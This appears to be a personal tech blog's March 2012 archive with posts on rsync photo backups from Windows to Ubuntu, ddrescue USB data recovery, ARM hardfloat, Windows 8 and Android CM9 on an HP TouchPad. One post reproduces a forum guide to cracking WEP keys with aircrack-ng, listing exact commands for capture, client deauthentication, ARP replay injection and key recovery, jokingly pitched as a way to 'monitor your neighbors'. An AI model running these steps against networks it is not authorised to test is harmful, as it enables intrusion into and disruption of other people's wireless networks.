Archive

Archive for March, 2012

How to backup all my Windows pics to the Linux box

March 25, 2012 Leave a comment

So if your like me, then you shoot RAW!  I use Adobe Photoshop CS5 and Adobe Lightroom 3.5 for most of my post imaging which means my photography is mostly saved on a windows box. So there’s really no “play nice” backup solution. Plus I have about 20 some odd GB of photos which makes FTP out of the question.  What would be ideal is if they made rsync for windows….  Wait, they do!  Check it out here using Cygwin.

So assuming your using a file server like Ubuntu I’ll jot down some instructions so you can do this at home as well!

I’m already guessing that you have rsync installed on your linux box, if not that can be easily fixed by:

#sudo apt-get install rsync

  1. Create a file named rsyncd.conf in /etc
    1. #sudo vi /etc/rsyncd.conf
    2. Add the following to rsyncd.conf, replacing all instances of usernamewith your Ubuntu username:
      [usernamebackup]
      
          path = /home/username/backup
          comment = Backup
          uid = username
          gid = username
          read only = false
          auth users = username
          secrets file = /etc/rsyncd.secrets
    3. #sudo chmod 644 /etc/rsyncd.conf
  2. Create a file named rsyncd.secrets in /etc
    1. #sudo vi /etc/rsyncd.secrets
    2. Add the following to rsyncd.secrets, replacing username with your username and passwordwith a password of your choosing:
      username:password
    3. #sudo chmod 600 /etc/rsyncd.secrets
  3. Open rsync port by editing /etc/default/rsync and setting
    RSYNC_ENABLE=true
  4. Restart rsync
    #sudo /etc/init.d/rsync restart

Set up rsync client on Windows

  1. Install Cygwin, making sure  Net > rsync (3.0.8) and Net > openssh are selected
  2. Add C:\cygwin\bin;to the Windows PATH statement
    1. Right-click on My Computer and select Properties
    2. Switch to the Advanced tab and click the Environment Variables button at the bottom
    3. Find the “Path” or “PATH” variable in the System variables list at the bottom and click Edit
    4. Add C:\cygwin\bin; to the beginning of the list
  3. Create secret file to store password in Cygwin
      1. Start Cygwin Bash Shell
      2. Create secret file in the filesystem root and enter only the password in rsyncd.secrets above, with no spaces or line breaks
    #vi /secret
    #chmod 600 /secret
  4. Create bat file to run rsync
    1. Open Notepad and enter the following command, replacing User Name with your Windows User Name directory, username with your Ubuntu username, and ipaddress with the IP address of your Ubuntu server (e.g. 192.168.1.35):
      C:\cygwin\bin\rsync.exe --chmod u+rwx -qrtzv --password-file=/secret --delete "/cygdrive/d/photos" username@ipaddress::usernamebackup

      This will copy "/cygdrive/d/photos"  to the path specified in the rsyncd.conf. .

    2. Save the file as C:\rsync.bat

Now to simply kick off a backup just copy the batch file to your desktop and kick that off every time you finish your edits. You could also create a schedule task to execute the batch script daily @ midnight, I prefer to just run it manually as I don’t keep my linux box up or windows system 24/7

Aircrack-NG, monitor wireless traffic on your network, heck… monitor your neighbors ;)

March 8, 2012 5 comments

So I wanted to show users how to sniff out their local wireless traffic , capture it and decrypt it.  However, before I made up a long winded post I decided to research it, see if someone else has done the work already. Sure enough someone has, so take a look at the following link. The article is geared for identifying wireless security holes and exploting them. But i’ll let you read the rest. It’s not advanced stuff, you can learn more about aircrack-ng in still interested.

I’ve copied the posters conents here, if you don’t want to deal with the link. If you want the screenshots, you’l have to sign into the forums.

GENERAL INFORMATION:
Generally speaking there are 3 types of attacks:

1. Brute force attack
2. Dictionary attack
3. Statistical attack

By exploiting several security weaknesses of the WEP protocol Aircrack NG makes use of a statistical method to recover WEP keys. Provided that you have collected a sufficient number of IVs (= Initialization Vectors) and depending on the length of the encryption key, determining the actual WEP key will take less than a minute on a common PC.

HARDWARE:
I assume that you have successfully patched the driver for your wireless adapter (e.g. Ralink chipset), so I won’t go into this. I have tested packet injection and decryption with:

1. Intel® PRO/Wireless 2200BG (IPW2200)
2. Linksys WUSB54G V4.0 (RT2570)

I recommend “Linksys WUSB54G V4.0” as it has a decent reception and reasonable performance. If you need help patching & compiling from source, feel free to post your problems here as well.

DRIVERS & PATCHES:
Before you proceed you need to compile your own drivers & install patches for packet re-injection. You find instructions here.

PREREQUISITES:
1. You have successfully patched your wireless driver (see link above).
2. This HOWTO was written for Aircrack-NG v0.9.1 & Aircrack-PTW v1.0.0 on Kubuntu Feisty Fawn 7.04 (32-bit).
3. ’00:09:5B:D7:43:A8′ is the MAC address of my network, so you need to replace it with your own.
4. ’00:00:00:00:00:00′ is the MAC address of the target client, NOT that of your own wireless card.

COMMAND LINE:
Please make sure that you stick to the exact sequence of actions and pay attention to section on MAC filtering.

  • 1. Enable monitoring with “airmon-ng” (screenshot #1):
  • Quote:
    sudo airmon-ng start <interface> <channel>
  • 2. Packet capturing with “airodump-ng” (screenshot #2):
    Quote:
    sudo airodump-ng –channel <channel> –write <file_name> <interface>

    Alternatively, try this (to collect data from target network only and hence increase performance):

    Quote:
    sudo airodump-ng –channel <channel> –bssid 00:09:5B:D7:43:A8 –write <file_name> <interface>

    NOTE:
    –channel… Select preferred channel; optional, however, channel hopping severely impacts and thus slows down collection process.
    –bssid… MAC address of target access point; optional, however, specifying access point will improve performance of collection process.
    –write… Preferred file name; mandatory field (in our case).

  • 3.1. Now check if MAC filtering is enabled or turned off:
    Quote:
    sudo aireplay-ng -1 0 -e <target_essid> -a 00:09:5B:D7:43:A8 -h MY:MA:CA:DD:RE:SS <interface>

    NOTE:
    -1… ‘0’ deauthenticates all clients.
    -e… ESSID of target access point.
    -a… MAC address of target access point.
    -h… MAC address of your choice.

  • 3.2. If the resulting output looks like this…
    Quote:
    18:22:32 Sending Authentication Request
    18:22:32 Authentication successful
    18:22:32 Sending Association Request
    18:22:32 Association successful 🙂

    …then MAC filtering is turned off & you can continue following section ‘No MAC filtering’, otherwise jump to section ‘MAC filtering’.

>> No MAC filtering <<

  • 4. Packet Re-injection with “aireplay-ng” (screenshot #4):
    Quote:
    sudo aireplay-ng -3 -b 00:09:5B:D7:43:A8 -h MY:MA:CA:DD:RE:SS <interface>

    You’ll now see the number of data packets shooting up in ‘airodump-ng’. This process can take up to five minutes before you start receiving any ARP requests. So be a little patient at this point. As MAC filtering is off, use an arbitrary MAC address (‘MY:MA:CA:DD:RE:SS’).

    Continue with #6.

    NOTE:
    -3… Standard ARP-request replay.
    -b… MAC address of target access point.
    -h… MAC address of your choice.

>> MAC filtering <<

  • 4. Deauthentication with “aireplay-ng” (screenshot #3):
    Quote:
    sudo aireplay-ng -0 5 -a 00:09:5B:D7:43:A8 -c 00:00:00:00:00:00 <interface>

    NOTE:
    -0… Number of deauthentication attempts.
    -a… MAC address of target access point.
    -c… Client MAC address.

  • 5. Packet Re-injection with “aireplay-ng” (screenshot #4):
    Quote:
    sudo aireplay-ng -3 -b 00:09:5B:D7:43:A8 -h 00:00:00:00:00:00 <interface>

    You’ll now see the number of data packets shooting up in ‘airodump-ng’. This process can take up to five minutes before you start receiving any ARP requests. So be a little patient at this point.

    NOTE:
    -3… Standard ARP-request replay.
    -b… MAC address of target access point.
    -h… Client MAC address.

  • 6. Decryption with “aircrack-ng” & “aircrack-ptw” (screenshot #5):Aircrack-ng:
    Quote:
    sudo aircrack-ng <file_name>.cap

    Aircrack-PTW:

    Quote:
    ./aircrack-ptw <file_name>.cap

CAPTURING:
This is a summary based on information given here and there, respectively:

Aircrack-NG:
64-bit key: ~250,000 packets
128-bit key: ~1,500,000 packets

Aircrack-PTW:
64-bit key: ~20,000 packets [estimate]
128-bit key: ~85,000 packets

FINALLY:
That’s it. I am open for further suggestions and hope to gain as much input as possible so that we can improve this guide and at the same time, keep it as simple as possible for other users.

Categories: Linux Tags: , , , ,

ARM Hardfloat takes it up a notch in the performance category.

March 8, 2012 Leave a comment

http://www.phoronix.com/scan.php?page=article&item=ubuntu_1204_omap4460&num=1

Great article above, it’s looking good for armhf , I’m still waiting for the armhf TI patches for gstreamer/totem (Unless they have already been released)  I don’t see them here on

TI OMAP devel trunk PPA

, im pretty sure those are only available for Oneiric still. You can also get them integrated if you just build using linaro tools , assuming you have the correct hwpack and binary.

With the cpufreq support enabled, the dual-core Cortex-A9 can now run as low as 300MHz or ramp up to its highest 1.2GHz frequency stepping when needed. Without the cpufreq support, the SoC is just stuck running at around 1.0GHz. With this support finally enabled for Ubuntu Linux, there is some immediate performance boosts for the PandaBoard ES.

How to retrieve data after experiencing read errors on a USB stick

March 7, 2012 Leave a comment

So I figured I’d post this handy piece of info. Ever have to copy data from a USB stick and run into read errors.  I just did 😦

So aside from the fact I have some shitty USB keys, I really needed to save the data on this 4GB stick. I was able to retrieve the whole partition using gddrescue.  You can grab it from Ubuntu ppa..

sfeole@sfeolework:~$ apt-cache policy gddrescue
gddrescue:
Installed: 1.14-1
Candidate: 1.14-1
Version table:
*** 1.14-1 0
500 http://us.archive.ubuntu.com/ubuntu/ oneiric/universe amd64 Packages
100 /var/lib/dpkg/status

Read more about it here:

http://www.gnu.org/software/ddrescue/ddrescue.html

So by carrying out the following I was able to pull the partition off my USB stick, this copies the data block for block.

sfeole@sfeolework:~$ time sudo ddrescue -r3 -f /dev/sdb my4gusb.img
Press Ctrl-C to interrupt
rescued: 4012 MB, errsize: 0 B, current rate: 18481 kB/s
ipos: 4012 MB, errors: 0, average rate: 17958 kB/s
opos: 4012 MB, time from last successful read: 0 s
Finished

real 3m43.060s
user 0m0.308s
sys 0m13.773s

From here I was able to use a fresh new USB stick and DD my image back.

sfeole@sfeolework:~$dd if=my4gusb.img of=/dev/sdb

Where is Windows 8 going?

March 5, 2012 3 comments

So while going through my list of websites that I usually catch up on I was sent this link here regarding windows 8. I love the picture above btw, might to have to add it to my collection!

http://www.extremetech.com/computing/121015-windows-8-may-drive-me-to-linux

Now just by reading the title you would think that this is sort of a bashing the Window 8 OS itself, well quite frankly it is. It’s interesting the direction that microsoft is going. I’m not sure if everyone over there has their screws snugged tight, if you know what i mean.

May favorite pieces of this article:

Based on its current form, Windows 8 represents an unconscionable, and barely comprehensible, rejection of the values Microsoft has spent the last 26 years perfecting in its visual operating system.

And, of course, there are plenty of serious users who don’t want the PC on which they spend huge chunks of their waking life to look like it was designed by Fisher-Price.

I would have to agree with the Matthew Murray on this one, I’m really content with windows 7. In the event I want to play a game or two, i usually fire up my windows 7 box and game away. The world is not all tablets… yet???  hehe…  doubtful..  but again I would like to see how this pans out for microsoft, changing their operating environment so the user experience is the same across all devices desktops / tables & phones, I think they are a little late in the game for this. By the way, who in their right mind buys a Windows phone? 🙂

Anyways doesn’t all of this sound familiar now?  Ubuntu & Unity, the same desktop experience across desktops & phones & tablets, I don’t think that was announced as the original intent for switchig to Unity, but doesn’t it make sense now with the announcement of Ubuntu TV and Ubuntu on the Phone.   If I remember correctly, Ubuntu took their “fair share of flack” from the community for dropping gnome but that’s a story for another post. <Let the Linux Mint Trolls come out of their caves>

Ubuntu on the Atrix2

Day 2, with Android & CM9

March 5, 2012 1 comment

So, after spending a bit of time last night with CM9, I think I have the hang of it. As I mentioned yesterday theres still a ton of bugs. For example, Airplane mode doesn’t work, the Camera doesn’t seem to function and the Mic is busted, so that means no google talk 😦  But all in good time, it will eventually get ironed out. However the browser and netflix work as expected, which pretty much fills my requirements. I like the new browser! the improved multi touch and newly added tabs gives it a good feel. I also encourage everyone to try out Dolphin, although I’m going to stick with the stock browser for now.

I was plagued last night and partly this morning by the wifi acting up a bit. Sometimes the wifi would drop out mid use, I noticed quite a few have reported the issue. But so far it’s been stable for the last few hours.  I’m use to the wifi behaving with a mind of its own, coming from CM7 I was a victim of the horrid , Reset your Wifi after a reboot ordeal. That issue, I’m happy to report seems to be gone.

Gmail and Google Chat seem to have a new facelift, which I can get use too.

I think next on my list is to pick up one of the HP Touchstones before they are all gone. I noticed the HP Website is completely sold out, but some websites are offering them at outrageous prices. Seriously, why pay $40-$60 on a charger when the device only cost you $99. My dad showed me some very cool android radio apps, TuneIN. Grabs all the local streaming radio broadcasts around the world and of course near your local area and streams them on your tablet.

Great for the home office!!

Installed Android CM9 on my HP Touchpad — so far, so good

March 5, 2012 Leave a comment

So tonight I caved in and upped my HP  Touchpad from CM7 –> CM9. It was a pretty straightforward task and I have to say, even though CM9 Ice Cream Sandwich is loaded with bugs, i’m pretty impressed. The interface is so much more responsive than CM7 was, navigation around the settings menu has changed a bit and active tasks can easily be swiped away, sort of reminds me of famous HP WebOS swipe to close out applications. The main reason why I held back so long was because Netflix support was busted, it appears in the latest drop of Alpha2 they fixed that.

Its going to be a long time before a tablet can replace a single netbook or laptop. Probably a few years minimum. You simply can’t compete with the cost of small laptops these days and the power/cost ratio you benefit from (example: Corei5 and Corei7) , along with the powered graphics accelerators (nvidia/ati) not to mention multitasking ability..  Most tablets if not all are great for social media / browsing the web / trolling youtube and watching netflix, yea throw in a few cheap games. Perfect for when you want to sit back on the couch in front of the TV and don’t feel like lugging your laptop. But when you work in an environment that requires a few terminal windows open , IRC & assorted apps, those tablets simply wont cut it.

If your interested in taking a peak at CM9 for your touchpad, you can find some very simple instructions out on webosnation.com

http://forums.webosnation.com/android-touchpad/310720-cm9-touchpad-heres-your-get-started-guide.html

Since I already had CM7 installed, I ran ACMEUninstaller to wipe out the android partition and started fresh from HP WebOS.

The current Changelog and Known Issues can be found here on rootzwiki

http://rootzwiki.com/topic/18843-releasealpha2-cyanogenmod-9-touchpad/

 

Heres a quick demo I found on youtube..